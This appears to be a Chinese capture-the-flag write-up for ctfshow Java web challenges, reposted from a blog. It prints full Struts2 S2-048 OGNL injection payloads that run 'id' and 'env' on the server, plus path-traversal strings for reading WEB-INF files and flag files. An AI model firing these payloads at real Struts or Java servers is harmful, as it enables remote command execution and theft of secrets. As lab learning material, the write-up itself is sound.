其他没啥好讲的,都是工具就通杀了
web295
漏洞地址 http://ip/S2-048/integration/saveGangster.action
这里我们可以看到他是解析了
尝试使用网上的payload
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
这里我们发现,他是解析了Runtime的,然后我们就可以利用它里面的方法执行命令
//这里我们无论是env,还是cat /proc/self/environ都有报错payload:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())).(#q)}
但是报错中的这个就是flag
web298
这里给我们了一个jar,打包好了的包,这里我们使用一些反编译工具查看一下
在loginServlet类中,我们看到这里经过这么判断才能获得flag,跟踪一下看看。
这里看到getVipStatus方法,获得了获取flag的条件就是user等于admin,password等于ctfshow
但是题目一进去就一个报错,看这里软件包里面有ctfshow,尝试一下目录ctfshow
得到提示通过login,传参username和password
payload:/ctfshow/login?username=admin&password=ctfshow
web299
查看源代码获得提示,这里可能存在任意文件读取,我们首先查看index.jsp,这里发现存在任意文件读取,这里我们继续读取WEB-INF/web.xml
这里我们看到,这里有一个软件包中有一个GetFlag类,这里我们去读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class去
虽然很乱,但是在这里发现了flag
payload: /view-source?file=../../../../../../fl3g
web300
和上面差不多
payload: ?file=../../../../../f1bg
来源地址:https://blog.csdn.net/m0_64815693/article/details/130026063